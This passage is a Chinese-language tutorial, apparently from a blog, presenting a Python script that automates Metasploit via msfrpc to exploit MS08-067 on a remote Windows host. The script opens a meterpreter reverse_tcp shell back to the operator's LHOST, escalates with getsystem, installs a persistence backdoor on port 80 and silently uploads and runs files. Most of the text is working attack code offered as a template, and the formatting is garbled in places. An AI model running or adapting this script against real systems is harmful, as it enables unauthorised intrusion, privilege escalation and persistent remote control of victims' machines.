_________ _______________
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']
复制代码
下一步就是实现把多个字符串发给虚拟终端,通过console.write和console.read在虚拟终端显示与读取:
________ _________ __________- ___________)
-
res = client.call('console.read',[console_id])
-
result = res['data'].split('\n')
上面的这一小段代码创建了一个MSF的资源文件,这样你就可以通过"resoucen
"命令去执行指定文件里面中一系列的命令。
下面我们将通过"getsystem"命令把这个文件的提权,建立一个后门打开80端口来转发.并且永久的运
行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:
________ _________ __________- ___________):
-
post = open('/tmp/smbpost.rc', 'w')
-
bat = open('/tmp/ms08067_install.bat', 'w')
-
-
postcomms = """getsystem
-
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
-
cd c:\\
-
upload /tmp/ms08067_patch.exe c:\\
-
upload /tmp/ms08067_install.bat c:\\
-
execute -f ms08067_install.bat
-
"""
-
batcomm = "ms08067_patch.exe /quiet"
-
post.write(postcomms); bat.write(batcomm)
-
post.close(); bat.close()
的meterpreter会话中运行生成的文件,并且通过console.write命令从虚拟终端写入数据,通过console.read命令来回显返回内容:
________ _________ __________- ___________)
-
rres = client.call('console.read',[console_id])
-
## Setup Listener for presistent connection back over port 80 ##
-
sleep(10)
-
listen = """use exploit/multi/handler
-
set PAYLOAD windows/meterpreter/reverse_tcp
-
set LPORT 80
-
set LHOST """+LHOST+"""
-
exploit
-
"""
-
print "[+] Setting up listener on: "+LHOST+":80"
-
client.call('console.write',[console_id,listen])
-
lres = client.call('console.read',[console_id])
-
print lres
上面代码中的变量(RHOST, LHOST,
LPORT等)都是通过optparse模块从命令终端输入的,完整的脚本托管在github上面,有时候你需要知道脚本的生成的地方都是静态地址,不会
在其他的目录生成,例如ms08067的补丁就会在你的/tmp/目录下面。
大家只要知道基础然后对下面的代码进行一定的修改就可以编程一个属于你自己的
msf自动化攻击脚本,我们建议通过博客里面发表的一些简单的例子出发,然后自己写一个msf攻击脚本:
________ _________ __________- ___________import os, msfrpc, optparse, sys, subprocess
__________ __________- ___________from time import sleep
__________ __________- ___________
__________ __________- ___________):
-
post = open('/tmp/smbpost.rc', 'w')
-
bat = open('/tmp/ms08067_install.bat', 'w')
-
-
postcomms = """getsystem
-
run persistence -S -U -X -i 10 -p 80 -r """+LHOST+"""
-
cd c:\\
-
upload /tmp/ms08067_patch.exe c:\\
-
upload /tmp/ms08067_install.bat c:\\
-
execute -f ms08067_install.bat
-
"""
-
batcomm = "ms08067_patch.exe /quiet"
-
post.write(postcomms); bat.write(batcomm)
-
post.close(); bat.close()
-
-
# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch
-
def sploiter(RHOST, LHOST, LPORT, session):
-
client = msfrpc.Msfrpc({})
-
client.login('msf', '123')
-
ress = client.call('console.create')
-
console_id = ress['id']
-
-
## Exploit MS08-067 ##
-
commands = """use exploit/windows/smb/ms08_067_netapi
-
set PAYLOAD windows/meterpreter/reverse_tcp
-
set RHOST """+RHOST+"""
-
set LHOST """+LHOST+"""
-
set LPORT """+LPORT+"""
-
set ExitOnSession false
-
exploit -z
-
"""
-
print "[+] Exploiting MS08-067 on: "+RHOST
-
client.call('console.write',[console_id,commands])
-
res = client.call('console.read',[console_id])
-
result = res['data'].split('\n')
-
-
## Run Post-exploit script ##
-
runPost = """use post/multi/gather/run_console_rc_file
-
set RESOURCE /tmp/smbpost.rc
-
set SESSION """+session+"""
-
exploit
-
"""
-
print "[+] Running post-exploit script on: "+RHOST
-
client.call('console.write',[console_id,runPost])
-
rres = client.call('console.read',[console_id])
-
## Setup Listener for presistent connection back over port 80 ##
-
sleep(10)
-
listen = """use exploit/multi/handler
-
set PAYLOAD windows/meterpreter/reverse_tcp
-
set LPORT 80
-
set LHOST """+LHOST+"""
-
exploit
-
"""
-
print "[+] Setting up listener on: "+LHOST+":80"
-
client.call('console.write',[console_id,listen])
-
lres = client.call('console.read',[console_id])
-
print lres
-
-
def main():
-
parser = optparse.OptionParser(sys.argv[0] +\
-
' -p LPORT -r RHOST -l LHOST')
-
parser.add_option('-p', dest='LPORT', type='string', \
-
help ='specify a port to listen on')
-
parser.add_option('-r', dest='RHOST', type='string', \
-
help='Specify a remote host')
-
parser.add_option('-l', dest='LHOST', type='string', \
-
help='Specify a local host')
-
parser.add_option('-s', dest='session', type='string', \
-
help ='specify session ID')
-
(options, args) = parser.parse_args()
-
session=options.session
-
RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT
-
-
if (RHOST == None) and (LPORT == None) and (LHOST == None):
-
print parser.usage
-
sys.exit(0)
-
-
builder(RHOST, LHOST, LPORT)
-
sploiter(RHOST, LHOST, LPORT, session)
-
-
if __name__ == "__main__":
-
main()
|
